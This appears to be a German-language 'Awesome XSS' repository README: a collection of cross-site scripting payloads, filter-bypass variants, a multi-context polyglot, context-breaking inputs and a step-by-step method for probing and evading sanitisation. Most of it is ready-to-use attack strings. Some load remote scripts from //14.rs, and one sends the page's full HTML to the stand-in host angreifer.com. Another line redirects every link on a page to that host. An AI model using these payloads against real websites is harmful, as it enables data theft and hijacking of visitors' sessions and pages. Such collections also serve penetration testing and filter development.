
Awesome XSS stuff
Dieses Repository ist eine Sammlung von Awesome XSS-Ressourcen. Beiträge sind willkommen und sollten über ein Issue eingereicht werden.
Eine schöne XSS-Mindmap von Jack Masa, hier
VerwundbarNicht verwundbarQuelle: Eine Eingabe, die von einer externen (nicht vertrauenswürdigen) Quelle gesteuert werden könnte.
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Senke: Eine potenziell gefährliche Methode, die zu einer Sicherheitslücke führen könnte. In diesem Fall eine DOM-basierte XSS.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Diese umfassende Liste von Senken und Quellen stammt von domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Hier ist ein XSS-Polyglot, den ich erstellt habe und der aus über 20 Kontexten ausbrechen kann:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Erklärung, wie es funktioniert, hier
Einige weniger erkannte Event-Handler
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Einige HTML-Tags, die Sie verwenden werden
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Fall: <tag>Sie suchten nach $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Fall: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Fall: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Ja, confirm, weil alert zu mainstream ist.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://angreifer.com";
});
<svg/onload="(new Image()).src='//angreifer.com/'%2Bdocument.documentElement.innerHTML">
Wenn nichts davon funktioniert, werfen Sie einen Blick in den Abschnitt Awesome Umgehung.
Geben Sie zunächst eine nicht-bösartige Zeichenfolge wie d3v ein und sehen Sie sich den Quellcode an, um eine Vorstellung von der Anzahl und den Kontexten der Reflexionen zu bekommen.
Überprüfen Sie nun für den Attributkontext, ob doppelte Anführungszeichen (") gefiltert werden, indem Sie x"d3v eingeben. Wenn es zu x"d3v geändert wird, ist die Ausgabe wahrscheinlich korrekt maskiert. Wenn dies der Fall ist, versuchen Sie dasselbe für einfache Anführungszeichen ('), indem Sie x'd3v eingeben. Wenn es zu x' geändert wird, haben Sie Pech. Das Einzige, was Sie versuchen können, ist die Kodierung.
Wenn die Anführungszeichen nicht gefiltert werden, können Sie einfach die Payloads aus dem Abschnitt Awesome Kontextwechsel ausprobieren.
Überprüfen Sie für den JavaScript-Kontext, welche Anführungszeichen verwendet werden, z. B. ob sie Folgendes tun:
variable = 'value' oder variable = "value"
Nehmen wir an, einfache Anführungszeichen (') werden verwendet. Geben Sie in diesem Fall x'd3v ein. Wenn es zu x\'d3v geändert wird, versuchen Sie, den Backslash () zu escapen, indem Sie einen Backslash zu Ihrer Probe hinzufügen, also x\'d3v. Wenn es funktioniert, verwenden Sie das folgende Payload:
\'-alert()//
Wenn es jedoch zu x\\\'d3v geändert wird, können Sie nur noch versuchen, das Script-Tag selbst zu schließen, indem Sie Folgendes verwenden:
</script><svg onload=alert()>
Für den einfachen HTML-Kontext lautet die Probe x<d3v. Wenn es zu x>d3v geändert wird, ist eine ordnungsgemäße Sanitisierung vorhanden. Wenn es unverändert zurückgespiegelt wird, können Sie ein Dummy-Tag eingeben, um auf potenzielle Filter zu prüfen. Das Dummy-Tag, das ich gerne verwende, ist x<xxx>. Wenn es entfernt oder in irgendeiner Weise geändert wird, bedeutet dies, dass der Filter nach einem Paar von < und > sucht. Es kann einfach durch Folgendes umgangen werden:
<svg onload=alert()//
oder folgendes (wird nicht in allen Fällen funktionieren):
<svg onload=alert()
Wenn Ihr Dummy-Tag unverändert im Quellcode landet, verwenden Sie eines dieser Payloads:
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
Hinweis: Keines dieser Payloads verwendet einfache (') oder doppelte Anführungszeichen (").
<object data=javascript:confirm()>
<a href=javascript:confirm()>klicken Sie hier
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>klicken Sie hier
<x ondrag=aconfirm()>ziehen Sie es
</ScRipT>
</script
</script/>
</script x>
http(s):// kann zu // oder /\\ oder \\ verkürzt werden.document.cookie kann zu cookie verkürzt werden. Dies gilt auch für andere DOM-Objekte.alert('XSS') zu schreiben und beginnen Sie mit alert().// verwenden, um ein Tag zu schließen, anstatt >.confirm die am wenigsten erkannte Popup-Funktion ist, also hören Sie auf, alert zu verwenden.<script src=//14.rs> anstelle von verwenden.Alle Payloads wurden von mir erstellt, sofern nicht anders angegeben.
| HTML | Zeichen | Numerisch | Beschreibung | Hex | CSS (ISO) | JS (Oktal) | URL |
|---|
" | " | " | Anführungszeichen | u+0022 | \0022 | \42 | %22 |
# | # | # | Nummernzeichen | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | Dollarzeichen | u+0024 | \0024 | \44 | %24 |
% | % | % | Prozentzeichen | u+0025 | \0025 | \45 | %25 |
& | & | & | Kaufmanns-Und | u+0026 | \0026 | \46 | %26 |
' | ' | ' | Apostroph | u+0027 | \0027 | \47 | %27 |
( | ( | ( | linke Klammer | u+0028 | \0028 | \50 | %28 |
) | ) | ) | rechte Klammer | u+0029 | \0029 | \51 | %29 |
* | * | * | Sternchen | u+002A | \002a | \52 | %2A |
+ | + | + | Pluszeichen | u+002B | \002b | \53 | %2B |
, | , | , | Komma | u+002C | \002c | \54 | %2C |
− | - | - | Bindestrich-Minus | u+002D | \002d | \55 | %2D |
. | . | . | Punkt | u+002E | \002e | \56 | %2E |
/ | / | / | Schrägstrich | u+002F | \002f | \57 | %2F |
: | : | : | Doppelpunkt | u+003A | \003a | \72 | %3A |
; | ; | ; | Semikolon | u+003B | \003b | \73 | %3B |
< | < | < | Kleiner-als | u+003C | \003c | \74 | %3C |
= | = | = | Gleichheitszeichen | u+003D | \003d | \75 | %3D |
> | > | > | Größer-als-Zeichen | u+003E | \003e | \76 | %3E |
? | ? | ? | Fragezeichen | u+003F | \003f | \77 | %3F |
@ | @ | @ | At-Zeichen | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | linke eckige Klammer | u+005B | \005b | \133 | %5B |
\ | \ | \ | Backslash | u+005C | \005c | \134 | %5C |
] | ] | ] | rechte eckige Klammer | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | Zirkumflex | u+005E | \005e | \136 | %5E |
_ | _ | _ | Unterstrich | u+005F | \005f | \137 | %5F |
` | ` | ` | Gravis-Akzent | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | linke geschweifte Klammer | u+007b | \007b | \173 | %7b |
| | | | | | senkrechter Strich | u+007c | \007c | \174 | %7c |
} | } | } | rechte geschweifte Klammer | u+007d | \007d | \175 | %7d |
<script src="//14.rs"><script src=//14.rs> (19 Zeichen)